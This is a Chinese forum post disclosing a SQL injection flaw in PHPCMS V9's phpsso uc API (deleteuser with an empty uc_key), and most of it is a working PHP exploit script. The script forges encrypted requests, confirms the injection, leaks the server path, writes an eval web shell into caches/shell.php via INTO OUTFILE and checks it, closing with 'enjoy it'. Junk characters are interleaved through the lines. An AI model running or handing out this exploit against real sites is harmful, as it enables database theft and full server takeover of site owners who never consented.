找回密码
 立即注册
查看: 2665|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
7 A0 }! {9 i' ^5 G0 L8 W1 z, L: d& K
( R7 M9 I) o9 l9 q/ y# T所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
& d8 X0 z7 B9 [: A1 ?$ h3 c! n
, c% o" _! Q% T, o$ \" C漏洞分析:  v5 @/ r- q5 F2 k
1.未启用ucenter服务的情况下uc_key为空) h/ K4 N+ L- q% P  \
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
/ y* d7 P6 t" J) o( c2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
5 j, {6 N; J  O; N7 t( ]& \* ]    public function deleteuser($get,$post) {
8 K' {5 @8 M: Q; ~! d) l& E& A        pc_base::load_app_func('global', 'admin');
6 ?7 V# ?* ]) L# O        pc_base::load_app_class('messagequeue', 'admin' , 0);
& d, z0 M: H2 d9 d6 N, l( n        $ids = new_stripslashes($get['ids']);
8 `( M4 V) j2 w        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
( ^" W  @1 P% Y5 o- t1 Q# a9 tSQL语句为
& o, B4 J6 R5 |( o/ S! s8 GSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids). m/ @& i5 v# w3 d& C& `: O; w& j
0 G( R1 t2 b: p5 w6 h2 P
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell3 p0 p! f4 E" Q- J
<?php5 ?) e' O  x- P% a- N9 p4 |# v8 I
print_r('! _4 v: b! |8 `9 {: [) A
---------------------------------------------------------------------------
1 {- w8 R! e) W, R& qPHPcms (v9 or Old Version) uc api sql injection 0day6 v$ y3 `% y% y/ h/ i$ \, I5 a5 ?
by rayh4c#80sec.com$ g; i* q1 Z) @" N
---------------------------------------------------------------------------
+ E9 n! H6 a; Y4 y3 D: ?' ^( f');
& f  h, R3 `& }: H
0 B5 e" z2 V- v* m; J9 rif ($argc<3) {
9 V/ j: J  N' [+ |$ {    print_r('
' S4 g8 o2 i5 P; j2 J! I---------------------------------------------------------------------------/ G' C- _) A) m2 g' n* H
Usage: php '.$argv[0].' host path OPTIONS
7 z) X4 g" m$ _host:      target server (ip/hostname)
; V. J4 ^8 @* v2 q& z5 W; b' T4 Gpath:      path to phpcms
9 J# C1 {$ C- G3 Q9 SOptions:
2 c6 p4 Z: T, m -p[port]:    specify a port other than 80) M6 P6 ?/ @2 k/ [4 p9 n
-P[ip:port]: specify a proxy2 p- o) @- Q" e
Example:
: h: |* r$ N7 b: |3 u- Wphp '.$argv[0].' localhost /
) R( s6 [% b: c+ Q; Y% D; U% ~php '.$argv[0].' localhost /phpcms/ -p81
/ \, [9 T1 L) E9 ]$ a* h0 Ephp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80, L, W+ ], x7 _& w
---------------------------------------------------------------------------
1 i4 i- _9 k  E  ?$ ]2 Q; O');& a5 N( I# e6 h6 A/ Q% j( T# ~
    die;
5 M) V: c2 _/ Z+ `) |( g, Q}* K! A. Y* g6 `. k3 Q: I; J
" R8 h6 C3 B# H  v& H6 _
error_reporting(7);: H1 j4 f* U0 l9 g3 V+ N, [. v* T5 S
ini_set("max_execution_time",0);
# u( D5 l( v2 }" u0 W  _* F& Kini_set("default_socket_timeout",5);4 D2 G) x; K1 z" U8 k$ M) G4 P# W
' q, L, _7 V) G* R/ Z- `$ B
function quick_dump($string)% N7 w9 B/ v# S- _/ x# y. _2 u, i3 H
{% u0 a" d$ Q- W- ?. ~$ d( t; F7 Z
  $result='';$exa='';$cont=0;
- M+ h# ^4 S2 Q# e7 t1 G) h  for ($i=0; $i<=strlen($string)-1; $i++)
5 W4 U2 Z' q" L: E; X( U; i1 t  {" f  Y9 m7 n( E+ y! U# Q
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )). n& B( u2 [' T+ z# {0 I* S, b
   {$result.="  .";}
  ^$ @9 Q# n0 E( D   else' Q/ w: M9 }5 {6 C( o
   {$result.="  ".$string[$i];}" m! U. S+ @, U% |
   if (strlen(dechex(ord($string[$i])))==2)
: @, y* w6 P; b* ~5 Q) j8 g) u   {$exa.=" ".dechex(ord($string[$i]));}$ \- \: m* l4 ]4 T  q) h
   else
1 w* [# |' w; S   {$exa.=" 0".dechex(ord($string[$i]));}
+ ?4 P- d: g. c  |. e; r   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}5 L  M7 l- G4 J5 V; F( F: ~; {
  }
, Q3 U) N7 N8 O2 Y return $exa."\r\n".$result;( X& b3 k5 l2 C( U
}; I4 K0 \; O. }
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';, R& S' F. E& f, C1 m& R

1 y7 Y# R/ t  Jfunction send($packet); C1 L) w. ^0 U7 c; o$ b
{# t+ _; T  y% ?3 C& S; I; P
  global $proxy, $host, $port, $html, $proxy_regex;
; S, c9 D' `; Y2 M: F4 g  if ($proxy=='') {
+ I' P4 k* R; \, x& E; i    $ock=fsockopen(gethostbyname($host),$port);( o3 F' g: I  M* D: b( _% T: k
    if (!$ock) {6 {4 C8 l/ z# R
      echo 'No response from '.$host.':'.$port; die;
+ \+ Y, t" o! N) I! e    }
- ?& a; f+ S9 z( B# W! R- K- O  }
4 G* w/ M3 ~' P5 y  else {- [1 X3 T! o: X
        $c = preg_match($proxy_regex,$proxy);
2 E9 H% g/ F1 d( g  u, e    if (!$c) {
4 Y/ i# E2 I4 |' _      echo 'Not a valid proxy...';die;% h% ~7 S( f& W% K' e
    }
, X3 Q/ _/ z1 p8 v    $parts=explode(':',$proxy);
; X- b# l/ D& I0 A7 s    $parts[1]=(int)$parts[1];
) g$ K) v! w+ R' Z) }    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
8 X; P+ X, ^  B0 L! _! P) g2 J    $ock=fsockopen($parts[0],$parts[1]);
& k8 S3 H/ H7 r. p    if (!$ock) {
9 ]& A! Z' ?; G) s) T3 {$ B      echo 'No response from proxy...';die;3 a" M2 I: k+ h9 I
        }8 o4 q& ]7 @& ]0 f
  }
/ [0 |# o! f( R. Q) P# n0 B  fputs($ock,$packet);
2 X: W. O' X7 h: k: K  if ($proxy=='') {
3 G: M% \6 M7 z/ v    $html='';
1 ?) m8 ]  p+ f) I- Y; z9 t    while (!feof($ock)) {7 N9 x$ I4 U: v9 ^& A" x( p
      $html.=fgets($ock);3 ^* Q$ f# v( n. N! y" p: ?
    }1 _8 A- N' h& H) q% l
  }
- w- W' N6 N- e' I& T  else {
2 Q& |. L4 Z; m9 e3 x6 Y! D- m5 ]    $html='';
; {5 _7 S! n' |    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$ F' Y# ]: W7 d) P6 G! W8 {      $html.=fread($ock,1);- s& ]; z/ r, A/ N7 O6 v
    }/ J) p  ?- j, K  ]& M' |9 A
  }- L0 S1 W9 j( w9 B) z
  fclose($ock);# B' ]5 [4 E5 }! b, Z0 M0 ]
}
4 y$ T' s: o; ?+ O0 h
' ?( a9 \& a0 `. M- j4 ~$host=$argv[1];3 B: E& D# E/ Q: n3 a1 I; d
$path=$argv[2];
( n1 Y6 Q7 Q( c! @+ y$port=80;
: Z7 ?. k. K8 f/ o: ^2 p$proxy="";
. H; M) K  u. S2 H. _) N* O; Ffor ($i=3; $i<$argc; $i++){: B/ B) W- e/ B5 c, O8 ^
$temp=$argv[$i][0].$argv[$i][1];3 c% O2 V3 i( v- Z) }% T- ~$ \/ t
if ($temp=="-p")
; x4 y+ z% M, g* a- @5 N4 I6 [{
3 d/ @8 l6 p  _3 n  \  $port=(int)str_replace("-p","",$argv[$i]);
6 p2 z' s. U% _9 o}
# U/ `- s' Q7 `" w. x" Gif ($temp=="-P")
0 m6 q: X+ l; H) k# L# W% c# [{9 f9 |& G- d. B2 t. W& z* N
  $proxy=str_replace("-P","",$argv[$i]);
9 x" F: R; I5 S5 Q3 C}
8 v3 ]% j+ O0 c# R2 l: c! I}7 B, V; j* y9 r

: o8 y/ U; T0 ]! w1 L$ x, h2 oif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}* Q4 Z9 w1 r# o$ x2 X
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
& \  K7 i! X& Y. u
& B+ Q+ V; _' Kfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {3 ^6 T4 Y4 U3 t
& G0 ?1 Y; l$ j9 J
    $ckey_length = 4;0 V- a6 E, E' H5 y+ m: h

8 v6 r. }* V8 \( k) B5 X    $key = md5($key ? $key : '');: ^+ D* e7 s1 N& G/ C3 T
    $keya = md5(substr($key, 0, 16));5 e$ \% b/ G& V& z  U) o+ K" q( M3 p
    $keyb = md5(substr($key, 16, 16));
3 Q. l7 x2 I( R- O, F# a: E. a    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';) {! o( a" z( m9 O! @* p
! s" ~4 f( Y, Q# U
    $cryptkey = $keya.md5($keya.$keyc);9 n5 k& ~- e% j$ I' k
    $key_length = strlen($cryptkey);7 P1 s/ s3 u3 A
9 \! j. S' c9 _& m# K
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
! @  C2 [* N' L' L) {7 p    $string_length = strlen($string);. g% Z- i1 t9 U- j7 F( J! @

# X# V% V* x& m    $result = '';! k# g( h9 n( h* _
    $box = range(0, 255);: p6 \) O* Y  P) [" j9 y. ^& u7 R
/ {' E& A0 ]( D9 X9 S
    $rndkey = array();
6 @9 B- W8 ~$ a2 H% O( o& D    for($i = 0; $i <= 255; $i++) {
" t$ K. V1 G4 C" v        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
. K  X" m0 J' @+ M3 i    }
* T4 A9 G: b0 ~9 D/ K# u( b
- H8 \+ r5 G8 t4 [    for($j = $i = 0; $i < 256; $i++) {( h4 j  I. F% f7 B5 R, e
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;: s$ E* O' X: r  F5 s* W/ \
        $tmp = $box[$i];" w2 P9 m6 _2 M; @
        $box[$i] = $box[$j];
# f3 k8 a9 G. [6 p( D# `/ ^" {        $box[$j] = $tmp;3 |5 Q' F' L- W& `
    }
+ O+ l7 m, E! x6 k! o& v* H, V+ a5 \! u8 e
    for($a = $j = $i = 0; $i < $string_length; $i++) {  N/ s& I' w$ E$ }
        $a = ($a + 1) % 256;  q; ?0 H* o+ h" v& U+ [
        $j = ($j + $box[$a]) % 256;
. x/ g0 A8 b2 |9 F# T% {% i2 C/ O+ I        $tmp = $box[$a];
! I' i  ^. g4 s2 U& ^, q3 k) {        $box[$a] = $box[$j];, g: G; }7 K+ Z% P; S
        $box[$j] = $tmp;
, Z+ r2 o3 x4 Z9 e9 w        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));4 f. W4 k. G. M( M0 `5 b! `
    }
( y2 `2 i3 M+ J& C
, J2 C) @7 ^# k7 O: f) e' ~    if($operation == 'DECODE') {0 D/ M% D8 Q0 N, d
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) ?" N, x+ W7 g4 S1 L+ B7 w            return substr($result, 26);
; D7 C9 X' Y: O: x& K        } else {: o* T2 S& U* Z9 S5 K
            return '';
  e2 B4 A5 S# \        }
* Y# j, b: b7 L: {+ e/ b; n; t    } else {
% g7 T' ^  b, D, @0 }' |% J. Y        return $keyc.str_replace('=', '', base64_encode($result));
& D1 G. o; |, k7 X  n5 l3 o$ ?    }
9 S* q( z9 C6 a* C" G/ l) ]3 u2 {6 P3 {0 v5 ?
}
: e' Q7 j4 w: a
! H9 c! P6 R5 x; Y) _% ^& J$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";; a" U4 n, j$ Q" l6 g, {
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
0 M" T9 [3 s6 p0 [echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";' t4 c$ d' R# E7 K6 b" n
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- K/ Y* O$ \# E/ ^# w0 p$packet.="User-Agent: Mozilla/5.0\r\n";
. Z" I4 ?$ q! n+ n$packet.="Host: ".$host."\r\n";
* r2 c8 i5 v. ?/ z* F$packet.="Connection: Close\r\n\r\n";
0 u# G/ m: g( U1 t+ z1 ?% }+ isend($packet);: ^6 [$ D! z7 h, P8 A) S
if(strpos($html,"MySQL Errno") > 0){
/ e' M+ I! ]+ V; Decho "[2] 发现存在SQL注入漏洞"."\n";; s4 _4 [' X# G: w) o8 r. K% E
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
1 t4 m* B0 B- D$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
# v8 w' a: u3 R" K* k8 D1 K/ c6 z! V$packet.="User-Agent: Mozilla/5.0\r\n";+ X+ l* A4 ?' |/ e
$packet.="Host: ".$host."\r\n";
; y' E$ I1 H- `# x$packet.="Connection: Close\r\n\r\n";
/ F0 ~5 L! O) e+ @, b- n& msend($packet);. p) q9 n$ l/ V, k8 R, m
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);: q' E1 S5 @6 Y; U4 P: c+ N
//print_r($matches);0 w' D! y2 n8 Y% S" v; d2 a# p
if(!empty($matches)){
' c  R; C* q$ Aecho "[4] 得到web路径 " . $matches[0]."\n";5 g3 t3 U; ~; m9 e7 q
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";/ Y: W( V: p* V, N' {+ y0 H
$SQL = "time=999999999999999999999999&ids=1)";
3 e- W% M; R, b) a1 g5 L8 h$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
! b6 d1 [4 |8 X; J* N; N# X: w$SQL.="&action=deleteuser";
. e" e* s! ]; ?; R7 ^$SQL = urlencode(authcode($SQL, "ENCODE", ""));9 L8 h; a% f6 y% G/ Q7 h5 |
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 h' ]" }; r6 u% ]0 b  M$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";0 B0 `7 y" Z4 m; m' f% }2 C+ v
$packet.="User-Agent: Mozilla/5.0\r\n";
* R. X+ K( I0 _$packet.="Host: ".$host."\r\n";# V/ r' f  p; k8 c6 S
$packet.="Connection: Close\r\n\r\n";% m; M) u/ M0 h
send($packet);
" @' P4 c. G! p9 E- G3 h9 j8 }if(strpos($html,"Access denied") > 0){
( [9 h/ V4 _# @. \& Pecho "[-] MYSQL权限过低 禁止写入文件 ";
% @$ G) M8 w; a' [die;5 k9 T6 u* l! |3 P) w5 V
}
2 J1 t/ {# Y5 s. u" Vecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 o$ {6 ], f0 C# h# \% D$ m
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";. ?9 {& K! _5 d8 T3 `5 b
$packet.="User-Agent: Mozilla/5.0\r\n";
+ K, `, m# F& b3 O0 e$packet.="Host: ".$host."\r\n";$ c& r# Q# I: F, R$ k
$packet.="Connection: Close\r\n\r\n";
: i) ?, X6 h  Jsend($packet);
! `& s3 E% ]. M3 N& @: x' O# uif(strpos($html,"<title>phpinfo()</title>") > 0){
7 L4 ]) U5 m1 F1 [5 Fecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";, T9 Y# r: Z9 n) X- V, N
}
1 e" r0 r1 y# v; w1 s1 A# j% i) @- X}else{
4 C7 W; B1 S8 H) Y( i+ Zecho "[-]未取到web路径 ";
6 h1 }- H2 a: e# C6 X}
9 Q3 @- d# b4 C7 u  a$ |& @6 r7 M}else{
# @1 t; G2 `5 F" Y8 U, F1 C( U. }echo "[*]不存在SQL注入漏洞"."\n";
' q6 G, F3 B5 V  k! w2 C1 i9 ]; x}
' G8 y% w6 k3 w+ o- U
+ P1 I3 @, J$ T?>! }9 M# r) n4 J1 ~! d! ?" ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表